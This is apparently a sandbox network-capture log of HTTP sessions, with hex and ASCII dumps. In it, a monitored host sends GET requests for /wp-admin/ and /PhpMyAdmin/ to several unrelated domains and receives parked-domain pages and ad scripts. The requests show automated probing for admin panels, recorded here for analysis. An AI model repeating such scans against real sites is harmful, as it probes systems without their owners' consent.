Dec 2, 2023 18:04:38.430253029 CET	703	IN	Data Raw: 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 Data Ascii: t" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor10' + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolutions.com%2Fland
Dec 2, 2023 18:04:38.473206043 CET	703	IN	Data Raw: 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 Data Ascii: t" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor10' + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolutions.com%2Fland

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	56873	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.318315983 CET	230	OUT	GET /wp-admin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.857285023 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache Set-Cookie: vsid=932vr449082278431225251; expires=Thu, 30-Nov-2028 17:04:38 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 62 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 46 6c 75 4f 75 5a 58 37 63 43 61 78 72 75 52 34 55 39 5a 69 6f 50 75 63 44 49 53 78 58 6e 4d 39 5a 7a 59 57 61 2f 2f 54 6e 30 36 4e 7a 39 53 65 34 39 73 4a 56 70 62 62 2b 44 58 32 38 76 54 42 54 2b 6e 50 32 4d 57 52 62 6a 4c 75 47 69 2f 76 2b 64 65 4c 5a 77 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 61 73 73 65 74 5f 73 74 61 72 30 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 30 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 31 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 31 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 Data Ascii: 4b1c<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_FluOuZX7cCaxruR4U9ZioPucDISxXnM9ZzYWa//Tn06Nz9Se49sJVpbb+DX28vTBT+nP2MWRbjLuGi/v+deLZw==" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> <title>airanatoliava.org</title> <script src="//www.google.com/adsense/domains/caf.js?abp=1"></script> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_star1 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star1.gif') no-repeat center;width: 13px;height: 12px
Dec 2, 2023 18:04:38.857315063 CET	1274	IN	Data Raw: 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 48 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f Data Ascii: ;display: inline-block;}.asset_starH {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/starH.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.sitelink {padding-right: 16px;}.sellerRatin
Dec 2, 2023 18:04:38.857387066 CET	1274	IN	Data Raw: 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 63 6c 65 61 6e 50 65 70 70 65 72 6d 69 6e 74 42 6c 61 63 6b 5f 36 35 37 64 39 30 31 33 2f 69 6d 67 2f 62 6f 74 74 6f 6d 2e 70 6e 67 27 29 20 Data Ascii: 8psrni17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/bottom.png') no-repeat center bottom; padding-bottom:140px;}.wrapper3 { background:#fff; max-width:300px; margin:0 auto 1rem; padding-top:1px; padd
Dec 2, 2023 18:04:38.857403994 CET	1274	IN	Data Raw: 69 6e 2d 68 65 69 67 68 74 3a 36 30 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 77 72 61 70 70 65 72 33 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 35 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e Data Ascii: in-height:600px; } .wrapper3 { max-width:530px; background:none; }}</style> </head><body id="afd" style="visibility:hidden"><div id="reg-banner" class="reg-banner"> <style> .reg-banner { box-siz
Dec 2, 2023 18:04:38.963572979 CET	1274	IN	Data Raw: 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 65 74 77 6f 72 6b 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 65 78 70 65 72 69 65 6e 63 65 2d 66 72 61 67 6d 65 6e 74 73 2f 6e 65 74 73 6f 6c 2f 73 69 74 65 2d 68 65 61 64 65 72 2f 6d 61 Data Ascii: ttps://www.networksolutions.com/content/experience-fragments/netsol/site-header/master/_jcr_content/root/header/logo.coreimg.svg/1633719265272/160x62-full-logo-transparent-bg.svg" class="reg-logo" alt="airanatoliava.org expired on and is pend
Dec 2, 2023 18:04:38.963589907 CET	1274	IN	Data Raw: 3a 20 31 20 2f 20 73 70 61 6e 20 32 3b 20 6a 75 73 74 69 66 79 2d 73 65 6c 66 3a 20 65 6e 64 22 3e 0a 20 20 20 20 20 20 20 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 2f 2f 61 64 73 2e 6e 65 74 77 6f 72 6b 73 6f Data Ascii: : 1 / span 2; justify-self: end"> <a target="_blank" href="//ads.networksolutions.com/landing?code=P47C100S1N0B9A1D124E0000V100" class="header-text-color"> Renew Your Domain Now </a> </div> <div style="grid-
Dec 2, 2023 18:04:38.963608980 CET	1274	IN	Data Raw: 77 65 62 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 45 6e 67 6c 69 73 68 2f 4d 53 41 2f 76 31 2e 30 2e 30 2e 33 2f 53 65 72 76 69 63 65 73 41 67 72 65 65 6d 65 6e 74 2e 70 64 66 22 3e 53 65 72 76 69 63 65 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 3c 62 Data Ascii: web.com/legal/English/MSA/v1.0.0.3/ServicesAgreement.pdf">Service Agreement</a><br><br><a href="https://www.networksolutions.com/">Legal Notice</a> </div></div><script type="text/javascript" language="JavaScript"> var tcblock = {
Dec 2, 2023 18:04:38.963624001 CET	1274	IN	Data Raw: 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 69 73 41 64 75 6c 74 3d 66 61 6c 73 65 3b 20 20 20 20 20 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 4e 61 6d 65 73 3d 5b 5d 3b 20 20 20 20 20 76 61 72 20 75 6e 69 71 75 65 54 72 61 63 6b 69 6e 67 49 44 3d 27 Data Ascii: vascript">var isAdult=false; var containerNames=[]; var uniqueTrackingID='MTcwMTUzNjY3OC42ODkxOmUyM2Y3NDkyZDU0ZjEwN2YyZmE1NTIxNWI3N2Y2YjQ1MjUwMTM1YzcyY2Y1OTEzOGM2OTY2MDEyYmYzZmQ3MTA6NjU2YjYzYTZhODNkZQ=='; var search=''; var the
Dec 2, 2023 18:04:39.069813013 CET	1274	IN	Data Raw: 2f 3f 74 73 3d 27 2c 0a 20 20 20 20 27 66 6f 6e 74 46 61 6d 69 6c 79 27 3a 20 27 61 72 69 61 6c 27 2c 0a 20 20 20 20 27 6f 70 74 69 6d 69 7a 65 54 65 72 6d 73 27 3a 20 74 72 75 65 2c 0a 20 20 20 20 27 6d 61 78 54 65 72 6d 4c 65 6e 67 74 68 27 3a Data Ascii: /?ts=', 'fontFamily': 'arial', 'optimizeTerms': true, 'maxTermLength': 40, 'adtest': true, 'clicktrackUrl': '//' + location.host + '/track.php?', 'attributionText': 'Ads', 'colorAttribution': '#b7b7b7', 'fontSiz
Dec 2, 2023 18:04:39.069827080 CET	1274	IN	Data Raw: 20 61 64 73 4c 6f 61 64 65 64 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 73 45 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 3a 20 69 73 45 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: adsLoaded, isExperimentVariant: isExperimentVariant, callbackOptions: callbackOptions, terms: pageOptions.terms } ajaxQuery( scriptPath + "/track.php"
Dec 2, 2023 18:04:39.069937944 CET	1274	IN	Data Raw: 6f 6e 65 6e 74 28 64 6f 6d 61 69 6e 29 20 2b 20 22 26 63 61 66 3d 31 26 74 6f 67 67 6c 65 3d 65 72 72 6f 72 63 6f 64 65 26 63 6f 64 65 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 73 74 61 74 75 73 2e 65 72 72 6f 72 5f Data Ascii: onent(domain) + "&caf=1&toggle=errorcode&code=" + encodeURIComponent(status.error_code) + "&uid=" + encodeURIComponent(uniqueTrackingID)); if ([18, 19].indexOf(parseInt(status.error_code)) != -1 && fallbackTriggered == false) {

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	56875	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.327796936 CET	230	OUT	GET /wp-admin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.833257914 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:38 GMT Server: Apache Set-Cookie: vsid=925vr449082278453354012; expires=Thu, 30-Nov-2028 17:04:38 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_KDN0PC4h5UejMlJdp8XOR5O/b7TPU36Q2NzqMpANh43YQIZ89y5s7DgOCYyA1VWdpYF3uUAwmyX2rcj9NJD+xg== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 62 32 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 Data Ascii: b251<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.conse
Dec 2, 2023 18:04:38.833273888 CET	1274	IN	Data Raw: 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f Data Ascii: ntmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","H
Dec 2, 2023 18:04:38.833290100 CET	1274	IN	Data Raw: 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e Data Ascii: toUpperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLa
Dec 2, 2023 18:04:38.833306074 CET	1274	IN	Data Raw: 61 72 20 6b 3d 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a Data Ascii: ar k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_de
Dec 2, 2023 18:04:38.833343029 CET	1274	IN	Data Raw: 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 Data Ascii: ength==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(
Dec 2, 2023 18:04:38.833358049 CET	1274	IN	Data Raw: 54 69 6d 65 6f 75 74 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 2c 31 30 2c 62 29 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b Data Ascii: Timeout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.s
Dec 2, 2023 18:04:38.833405018 CET	1274	IN	Data Raw: 5f 67 70 70 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 67 70 70 2e 71 3d 5f 5f 67 70 70 2e 71 7c 7c 5b 5d 3b 69 66 28 21 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 67 70 70 Data Ascii: _gppstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|
Dec 2, 2023 18:04:38.833422899 CET	1274	IN	Data Raw: 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 29 7d Data Ascii: e:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue
Dec 2, 2023 18:04:38.833439112 CET	1274	IN	Data Raw: 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e Data Ascii: of(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,fal
Dec 2, 2023 18:04:38.833453894 CET	1274	IN	Data Raw: 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 73 6b 2d Data Ascii: yle.height="0px";imglog.style.width="0px";imglog.src="http://airanatoliava.org/sk-logabpstatus.php?a=Tkk1cm1GZVpMT2JKeGEzbU5xL2duYWFLSlAzZW5kaDhuR245KzdtUkZtOGZXMDQvOGlyU0NwL3hORlQrQVRoZGJnTktiMDBHcEJiSWJEdldMeXQrV1JqUW5SVTliUUFBRGpGOVV2a1ROSF
Dec 2, 2023 18:04:38.848753929 CET	1274	IN	Data Raw: 69 33 2e 63 64 6e 2d 69 6d 61 67 65 2e 63 6f 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 29 20 66 6f 72 Data Ascii: i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i3.cdn-image.com/__media__/f

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	56323	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:38.349626064 CET	224	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:38.746984005 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:38 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 